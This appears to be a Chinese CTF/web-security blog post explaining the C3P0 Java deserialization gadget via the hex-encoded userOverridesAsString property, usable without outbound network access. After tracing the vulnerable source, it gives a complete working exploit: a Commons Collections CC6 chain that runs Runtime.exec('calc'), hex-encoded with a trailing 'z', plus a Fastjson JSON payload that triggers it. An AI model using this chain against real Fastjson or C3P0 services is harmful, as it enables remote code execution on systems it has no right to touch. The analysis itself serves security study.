【Web】浅聊Java反序列化之C3P0——不出网Hex字节码加载利用

news/2024/5/19 21:36:06 标签: java, java反序列化, ctf, web, C3P0, C3P0反序列化, 反序列化

目录

简介

原理分析

EXP


前文:【Web】浅聊Java反序列化C3P0——URLClassLoader利用

简介

不出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等配合使用(调用setter和初始化方法)

原理分析

抽象类WrapperConnectionPoolDataSourceBase有private属性userOverridesAsString

private String userOverridesAsString = C3P0Config.initializeUserOverridesAsString();

以及对应的setter方法setuserOverridesAsString

public synchronized void setUserOverridesAsString(String userOverridesAsString) throws PropertyVetoException {
        String oldVal = this.userOverridesAsString;
        if (!this.eqOrBothNull(oldVal, userOverridesAsString)) {
            this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
        }

        this.userOverridesAsString = userOverridesAsString;
    }

点到为止,WrapperConnectionPoolDataSourceBase是抽象类,关注其子类WrapperConnectionPoolData,其构造方法,无参构造会调用有参构造并传入默认的true

public WrapperConnectionPoolDataSource(boolean autoregister) {
        super(autoregister);
        this.connectionTester = C3P0Registry.getDefaultConnectionTester();
        this.setUpPropertyListeners();

        try {
            this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString(this.getUserOverridesAsString());
        } catch (Exception var3) {
            if (logger.isLoggable(MLevel.WARNING)) {
                logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), var3);
            }
        }

    }

    public WrapperConnectionPoolDataSource() {
        this(true);
    }

其会调用C3P0ImplUtils.parseUserOverridesAsString 

跟进C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString());

 public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
        if (userOverridesAsString != null) {
            String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
            byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
            return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
        } else {
            return Collections.EMPTY_MAP;
        }
    }

parseUserOverridesAsString会先把userOverrideAsString属性进行截取得到hexAscii,然后fromHexAscii,用于将十六进制 ASCII 字符串转换为字节数组,最后调用SerializableUtils.fromByteArray对其进行处理

解读下hexAscii从何来(exp构造最后那个奇怪的'z'就是为了满足它,作为最后一位被吃掉)

userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1)
  • 使用 substring 方法从 userOverridesAsString 中提取子字符串。
  • "HexAsciiSerializedMap".length() + 1:计算了起始索引,即从字符串 "HexAsciiSerializedMap" 的长度之后一个位置开始。
  • userOverridesAsString.length() - 1:计算了结束索引,即字符串 userOverridesAsString 的长度减去 1。
  • 因此,这行代码的作用是从字符串 userOverridesAsString 中截取一个子字符串,起始位置为 "HexAsciiSerializedMap" 的长度之后一个位置,结束位置为字符串的倒数第二个字符。

再看一下SerializableUtils.fromByteArray

public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
        Object var1 = deserializeFromByteArray(var0);
        return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
    }

跟进deserializeFromByteArray

 public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
        ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
        return var1.readObject();
    }

发现就是对传入的byte数组进行一个反序列化

在fastjson等环镜下,userOverridesAsString属性可控,也就是传入的byte数组可控,导致可以从其setter方法setuserOverridesAsString开始到最后deserializeFromByteArray对其调用readObject进行反序列化,造成反序列化漏洞。

EXP

先用CC6改这个生成hexEXP

package com.c3p0;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class getPayload {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer(
                        "invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
                new InvokerTransformer(
                        "exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "xxx");

        lazyMap.remove("test");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();

        System.out.println("FJ的hexEXP填这个:"+bytesToHexString(baos.toByteArray())+ "z");
        String ser = "HexAsciiSerializedMap:" + bytesToHexString(baos.toByteArray()) + "z";
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
        exp.setUserOverridesAsString(ser);
    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray) {
        int length = bArray.length;
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

再配合FastJson打

{ "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:hexEXP" } }

http://www.niftyadmin.cn/n/5414548.html

相关文章

Dialog弹出动画

1.从上往下弹出: (包含了2种实现方式一种是基于放大效果的&#xff0c;一种是基于平移方式的&#xff0c;可以自己放开注释看效果&#xff1b;需要在res下新建anim文件夹用于存放动画文件) <style name"AnimTop" parent"android:style/Animation">&…

AD20中关于“Footprint Not Found”的解决方法

问题描述&#xff1a; Footprint Not Found&#xff1a;未找到封装外形 就是说没找到你的封装&#xff0c;但是明明我有封装库文件啊&#xff0c;怎么没找到封装呢&#xff1f; 解决方法&#xff1a; 1.打开封装管理器 2.把上面这一行全选成ALL使显示所有的元器件&#xff…

【机器学习】实验5,AAAI 会议论文聚类分析

本次实验以AAAI 2014会议论文数据为基础&#xff0c;要求实现或调用无监督聚类算法&#xff0c;了解聚类方法。 任务介绍 每年国际上召开的大大小小学术会议不计其数&#xff0c;发表了非常多的论文。在计算机领域的一些大型学术会议上&#xff0c;一次就可以发表涉及各个方向…

【计算机视觉】图像处理算法(线性滤波篇)

来源&#xff1a;《OpenCV3编程入门》&#xff0c;怀念毛星云大佬&#x1f56f;️ 说明&#xff1a;本系列重点关注各种图像处理算法的原理、作用和对比 线性滤波&#xff1a;方框滤波、均值滤波、高斯滤波 平滑处理 平滑处理(smoothing)也称模糊处理(bluring),是一种简单且使…

148个Chatgpt关键词汇总-有爱AI实战教程(二)

演示站点&#xff1a; https://ai.uaai.cn 技能模块 官方论坛&#xff1a; www.jingyuai.com 京娱AI 导读&#xff1a;在使用 ChatGPT 时&#xff0c;当你给的指令越精确&#xff0c;它的回答会越到位&#xff0c;举例来说&#xff0c;假如你要请它帮忙写文案&#xff0c;如…

Sublime Text for Mac/Win:跨平台编程利器,让代码编辑更高效

在当下这个数字化、信息化的时代&#xff0c;编程已经成为越来越多人的必备技能。而对于编程者来说&#xff0c;一款好的代码编辑器不仅能提升工作效率&#xff0c;还能为创作过程增添乐趣。今天&#xff0c;我要向大家推荐的&#xff0c;就是这样一款强大的跨平台代码编辑器—…

vaspkit用POSCAR生成INCAR、KPOINTS文件

网站链接&#xff1a;https://next-gen.materialsproject.org/materials 1.下载POSCAR文件 2.用vaspkit生成INCAR、KPOINTS文件 (base) [simplelocalhost ~]$ cd test/demo/ (base) [simplelocalhost demo]$ ls POSCAR (base) [simplelocalhost demo]$ vaspkit\\\/// …

详解C语言库函数:qsort()

qsort&#xff08;&#xff09;函数是以快速排序为基础并且可以将任何类型的数据以你想要的方式进行排序。 在C官网cppreference.com上可以找到以上结果&#xff0c;翻译过来就是使用qsort要包含<stdlib.h>文件。 这个函数有四个参数qsort(void * base , size_t num, s…